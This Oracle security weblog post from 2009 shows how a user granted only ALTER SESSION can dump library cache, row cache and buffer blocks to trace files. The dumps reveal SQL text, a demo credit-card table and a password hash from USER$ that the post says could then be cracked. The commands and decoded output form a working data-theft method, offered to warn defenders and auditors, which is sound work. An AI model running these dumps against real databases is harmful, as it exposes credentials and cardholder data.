Auditing an Oracle database for security issues is very important. PeteFinnigan.com provides all of the information and tools that you will need Click here for details of PeteFinnigan.com Limited's detailed Oracle database security audit service Click here for details of PeteFinnigan.com Limited's Oracle Security Training Courses
There are 75 visitors online    
Cookie Policy:We only use essential cookies on small sections of this website. For details see here.

Pete Finnigan's Oracle security weblog


Home » Archives » February 2009 » Is it possible to steal data with just ALTER SESSION?

[Previous entry: "Interview with SearchSecurity about Slavik's new Fuzzor"] [Next entry: "Attacking Oracle with Metasploit"]

Is it possible to steal data with just ALTER SESSION?

February 6th, 2009 by Pete


I wrote an entry in my blog yesterday titled "Instrumentation - a god send for speed freaks - a god send for data thieves" and immediately got into trouble for making a hash of writing it. I had suggested that just the ALTER SESSION privilege is needed (well actually i didn't say you only needed ALTER SESSION but rather if you had it you could use it to dump data blocks). As i happens I didn't actually mean that. I meant just simply dump data with this privilege via trace.

The main thrust of that post was to suggest that whilst instrumentation is great for tuning and fixing its also great for people who want to steal data. I don't disagree with instrumentation and as suhc the second point was that to protect data you must think of all the possible ways to get at that data.

I made a mess of the blog entry BUT it got me thinking about what is possible with ALTER SESSION. Here are a couple of examples of getting at data or structure with just ALTER SESSION. The first is my old favourite the library cache dump.

Imagine first that some table called CREDIT_CARD exists and that some data has been inserted and selected and updated. A script doing some of this run as SCOTT will illustrate. This would represent real life in terms of a real application where users read and write and change data in the CREDIT_CARD table via application screens. I know its simple and concocted but its an example:




SQL> sho user
USER is "SCOTT"
SQL> @ins_cc

Table dropped.


Table created.


1 row created.


1 row created.


1 row created.


Table altered.


FIRST_NAME LAST_NAME PAN
------------------------------ ------------------------------ ----------------
CVV PIN
---- ----
Pete Finnigan 4049657888764532
223 1234

Alex Kornbust 4049667788992233
240 2345

Laszlo Toth 4049889976548965
123 0000


3 rows selected.


FIRST_NAME LAST_NAME PIN CVV
------------------------------ ------------------------------ ---- ----
Pete Finnigan 1234 223

1 row selected.


1 row updated.

SQL> commit;

Commit complete.
SQL>
SQL> get ins_cc.sql
1 -- insert data into scott.credit_card
2 --
3 drop table credit_card
4 /
5 create table credit_card (first_name varchar2(30),last_name varchar2(30),
6 pan varchar2(16),cvv varchar2(4),pin varchar2(4)) tablespace users;
7 insert into credit_card(first_name,last_name,pan,cvv,pin)
8 values ('Pete','Finnigan','4049657888764532','223','1234');
9 insert into credit_card(first_name,last_name,pan,cvv,pin)
10 values ('Alex','Kornbust','4049667788992233','240','2345');
11 insert into credit_card(first_name,last_name,pan,cvv,pin)
12 values ('Laszlo','Toth','4049889976548965','123','0000');
13 alter table credit_card add constraint ccpk primary key (pan);
14 select * from credit_card;
15 -- do some work
16 select first_name,last_name,pin,cvv
17 from credit_card
18 where pan='4049657888764532'
19 /
20 update credit_card
21 set pin='1234'
22* where pan='4049889976548965'
23




So thats the exmple data and actions. Lets dump the library cache as eviluser:




SQL*Plus: Release 11.1.0.6.0 - Production on Fri Feb 6 11:15:13 2009

Copyright (c) 1982, 2007, Oracle. All rights reserved.


Connected to:
Personal Oracle Database 11g Release 11.1.0.6.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> create user eviluser identified by eviluser;

User created.

SQL> grant create session,alter session to eviluser;

Grant succeeded.

SQL> connect eviluser/eviluser
Connected.
SQL> alter session set events 'immediate trace name library_cache level 10';

Session altered.

SQL>




Let's now find the trace file and have a look at it:




...
BUCKET#69648 mtx=2D7459C4(0, 5, 0):
LIBRARY HANDLE:21ED9700 bid=69648 hid=4bc11010 lmd=0 pmd=0 sta=VALD
name=select first_name,last_name,pin,cvv
from credit_card
where pan='4049657888764532'

hash=1c5867526ea24351e0a8f7c04bc11010 idn=0
tim=02-06-2009 11:14:42 kkkk-dddd-llll=0000-0001-0001
exc=1 ivc=0 ldc=2 cbb=1 rpr=1 kdp=1 slc=0 dbg=0
dmtx=21ED975C(0, 0, 0) mtx=21ED9780(860000, 16, 0)
nsp=CRSR(00) typ=CRSR(00) flg=RON/KGHP/TIM/PN0/MED/KST/DBN/MTX/[500108d0]
lwt=21ED974C[21ED974C,21ED974C]
pwt=21ED973C[21ED973C,21ED973C]
ref=21ED9754[21ED9754,21ED9754]
LIBRARY OBJECT: 1E1E5B78
flg=EXS[0001] pfl=[0000] ssta=VALD load=0
CHILDREN: size=16
child# table reference handle
------ -------- --------- --------
...
BUCKET#83740 mtx=2D7982E4(0, 6, 0):
LIBRARY HANDLE:21EF50A8 bid=83740 hid=e2b3471c lmd=0 pmd=0 sta=VALD
name=insert into credit_card(first_name,last_name,pan,cvv,pin)
values ('Pete','Finnigan','4049657888764532','223','1234')

hash=b075fb6acdd0be62db3824fde2b3471c idn=0
tim=02-06-2009 11:12:09 kkkk-dddd-llll=0000-0001-0001
exc=2 ivc=1 ldc=3 cbb=1 rpr=1 kdp=1 slc=0 dbg=0
dmtx=21EF5104(0, 0, 0) mtx=21EF5128(860000, 31, 0)
nsp=CRSR(00) typ=CRSR(00) flg=RON/KGHP/TIM/PN0/MED/KST/DBN/MTX/[500108d0]
lwt=21EF50F4[21EF50F4,21EF50F4]
pwt=21EF50E4[21EF50E4,21EF50E4]
ref=21EF50FC[21EF50FC,21EF50FC]
LIBRARY OBJECT: 1E224234
flg=EXS[0001] pfl=[0000] ssta=VALD load=0
CHILDREN: size=16
child# table reference handle
------ -------- --------- --------
0 1e2245e0 1e223ff0 21ef4fcc
...




OK, just two examples from a fwe in the trace file from the library cache dump but both show critical data. They may not show complete block dumps of data but they do show data that someone may wish to steal. I did a simple experiment many years ago (2001) and the results are here: - "Revealing clear text passwords from the SGA". That example was about revealing clear text passwords but that is only one form of attack. Not all attacks are about stealing passwords or escalating privileges. Some attacks are about actually stealing data as as we said to protect the data we must consider all ways to get at that data either in or out of the database.

Another useful dump that we could do (remember not all attacks are single vector and not all are about escalting privileges) is to get details of the object in the database. We can do a dictionary cache dump or row cache dump:

As eviluser:




SQL> alter session set events 'immediate trace name row_cache level 8';

Session altered.

SQL>




Then we can view the trace file and look for the CREDIT_CARD table:




...
BUCKET 12175:
row cache parent object: address=21EEBDE4 cid=8(dc_objects)
hash=8a3c2f8e typ=9 transaction=00000000 flags=00000002
own=21EEBE50[21EEBE50,21EEBE50] wat=21EEBE58[21EEBE58,21EEBE58] mode=N
status=VALID/-/-/-/-/-/-/-/-
set=0, complete=TRUE
name=CREDIT_CARD
objectno=78866 ownerid=81 nsp=1
data=
00000051 5243000b 54494445 5241435f 00000044 00000000 00000000 00000000
00000000 00000001 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00013412 00000001 00013412 026d7802 091c0c06
06026d78 78091c0c 0c06026d 0001091c 00000000 00000000 00000000 00000000
00000000 00000006 00000000 8a3c2f8e 21eebde4 2da1c7a8 2da1c7a8 00000001
702b3637 21eebde4 2da1fcf0 2da1fcf0
BUCKET 12175 total object count=1
...




We can go much further than this simple example and learn about the structure of the database. We have highlighted the object id and owner. There is a lot more information we can gather.

Finally I wanted to show another simple example of what we can do with ALTER SESSION. This time we can do a buffer dump:




SQL> alter session set events 'immediate trace name buffers level 10';

Session altered.

SQL>




Again inspecting the trace file; and wow this is a rich trace file in terms of what we can get from it:




...
tab 1, row 19, @0x258
tl: 166 fb: -CH-FL-- lb: 0x2 cc: 22 cki: 16
col 0: [ 7] 4f 52 41 53 43 41 4e
col 1: [ 2] c1 02
col 2: [16] 39 38 33 46 32 41 34 33 44 34 35 35 31 36 35 33
col 3: [ 2] c1 05
col 4: [ 2] c1 04
col 5: [ 7] 78 6c 08 19 0b 3c 36
col 6: [ 7] 78 6c 0c 02 0a 30 2a
col 7: *NULL*
col 8: [ 7] 78 6c 0c 02 0a 34 10
col 9: [ 1] 80
col 10: *NULL*
col 11: [ 2] c1 02
col 12: *NULL*
col 13: *NULL*
col 14: [ 1] 80
col 15: [ 1] 80
col 16: [22]
44 45 46 41 55 4c 54 5f 43 4f 4e 53 55 4d 45 52 5f 47 52 4f 55 50
col 17: *NULL*
col 18: [ 1] 80
col 19: *NULL*
col 20: *NULL*
col 21: [62]
53 3a 35 38 43 38 37 32 38 39 37 35 39 31 37 41 41 39 31 31 42 37 31 42 44
35 37 37 39 41 46 31 45 37 42 46 44 31 45 31 46 39 34 32 46 45 39 38 39 42
30 35 35 39 42 33 31 38 46 44 46 41
...





The first example shows block dumps for the USER$ table. The record I have chosen is for the user ORASCAN - the hex 4f 52 41 53 43 41 4e says ORASCAN, the text just below 39 38 33 46 32 41 34 33 44 34 35 35 31 36 35 33 is his password hash that we could now take and crack. We need to just convert the ASCII back into characters. The password hashes of other users are also there, this is 11g so the 11g SHA1 hashes are also present.

So , OK can we dump data blocks from the database with ALTER SESSION? - yes of course:




...
pbl: 0x1f0c8064
76543210
flag=--------
ntab=1
nrow=3
frre=-1
fsbo=0x18
fseo=0x1f19
avsp=0x1f01
tosp=0x1f01
0xe:pti[0] nrow=3 offs=0
0x12:pri[0] offs=0x1f6d
0x14:pri[1] offs=0x1f42
0x16:pri[2] offs=0x1f19
block_row_dump:
tab 0, row 0, @0x1f6d
tl: 43 fb: --H-FL-- lb: 0x0 cc: 5
col 0: [ 4] 50 65 74 65
col 1: [ 8] 46 69 6e 6e 69 67 61 6e
col 2: [16] 34 30 34 39 36 35 37 38 38 38 37 36 34 35 33 32
col 3: [ 3] 32 32 33
col 4: [ 4] 31 32 33 34
tab 0, row 1, @0x1f42
tl: 43 fb: --H-FL-- lb: 0x0 cc: 5
col 0: [ 4] 41 6c 65 78
col 1: [ 8] 4b 6f 72 6e 62 75 73 74
col 2: [16] 34 30 34 39 36 36 37 37 38 38 39 39 32 32 33 33
col 3: [ 3] 32 34 30
col 4: [ 4] 32 33 34 35
tab 0, row 2, @0x1f19
tl: 41 fb: --H-FL-- lb: 0x2 cc: 5
col 0: [ 6] 4c 61 73 7a 6c 6f
col 1: [ 4] 54 6f 74 68
col 2: [16] 34 30 34 39 38 38 39 39 37 36 35 34 38 39 36 35
col 3: [ 3] 31 32 33
col 4: [ 4] 31 32 33 34
end_of_block_dump
...




As one example, the sequence - 46 69 6e 6e 69 67 61 6e - translated from hex to ascii is "F i n n i g a n". The card number is easier to read, simply remove the 3 from the front of each pair of hex digits and you get the decimal. So running some SQL as SCOTT for the table shows the actual data. Compare that to the above and remove the 3 and you can see the cerdit card numbers.




SQL> exec print_table('select * from scott.credit_card');
FIRST_NAME : Pete
LAST_NAME : Finnigan
PAN : 4049657888764532
CVV : 223
PIN : 1234
-----------------
FIRST_NAME : Alex
LAST_NAME : Kornbust
PAN : 4049667788992233
CVV : 240
PIN : 2345
-----------------
FIRST_NAME : Laszlo
LAST_NAME : Toth
PAN : 4049889976548965
CVV : 123
PIN : 1234
-----------------

PL/SQL procedure successfully completed.

SQL>




So in summary, the ALTER SESSION system privilege is very dangerous. We can reveal structure, password hashes, actual data, SQL statements including data and we have a huge number of events we can run that would give is VPD predicates, OPI calls, SQL*Net, sorts.... this list goes on.

There is an argument that we (the person abusing the ALTER SESSION privilege) needs to be able to read the trace file generated. OK, there are two angles to this. First in my experience in a lot of databases i have performed Oracle database security audits on have issues that allow access to trace files, such as utl_file_dir set to "*" or the trace directories; systems also have directory objects created to specifically expose trace files; applications such as E-Business Suite do this by default. There are built in packages, Java, C and many methods that can be used to access the file system. This is only one angle to the problem. We must consider the second as well. If someone dumps these traces to the file system and cannot even read them the data is STILL held outside the database, duplicated and possibly much less secure than in the database.

The link above also shows a simple example of reading a trace file remotely in the revealing clear text passwords from the SGA article.

This sort of issue is really about ensuring you understand all the different ways to get to the data and also understand that the problem is not necessarily the fact that you cannot escalate privileges. Just because most example exploits show how to grant DBA to SCOTT or something similar does not mean that any simple exploit that say allows us to read credit card data we are not supposed is not a valid exploit. If you think about this you should be very worried as you will realise that the possible methods / attacks / exploits / whatever are so huge that you must concentrate on the data first; that way you can hope to secure it.

There has been 5 Comments posted on this article


February 6th, 2009 at 08:14 pm

Donald K. Burleson says:

Hi Pete,

Just remember, this issue also exists at the OS level, when folks can dump data block contents.



February 7th, 2009 at 07:35 pm

Pete Finnigan says:

Hi Don,

yes that is taken as read of course. I was purely looking at what is possible with ALTER SESSION from within the database. I mentioned above that one issue is that even if the person who creates the trace is not able to read it; the data is then left in a trace file for OS users to read.

At the OS level its even easier as you can (with the right privileges) just use strings, od, trace... to get data. often its easier to find export files which are world readable by default.

Thanks for your comment

cheers

Pete



February 8th, 2009 at 09:24 pm

Alexander Kornbrust says:

Hi Pete

I started with comment on this article but then I saw that the comment would become too long....

"what-is-more-dangerous-alter-session-or-os-access"

Alex



February 9th, 2009 at 02:12 pm

Pete Finnigan says:

Hi Alex,

Thanks for your input and post.

cheers

Pete



February 2009
SMTWTFS
1234567
891011121314
15161718192021
22232425262728

This is the weblog for Pete Finnigan. Pete works in the area of Oracle security and he specialises in auditing Oracle databases for security issues. This weblog is aimed squarely at those interested in the security of their Oracle databases.

Weblog Home
Weblog Archives


Home
Oracle Security Tools page
Oracle security papers
Oracle Security alerts

Web Development
SQL Server Security

RSS 1.0 FEED
RSS 2.0 FEED
Atom 0.3 FEED
Powered by gm-rss 2.0.0


Valid XHTML 1.0!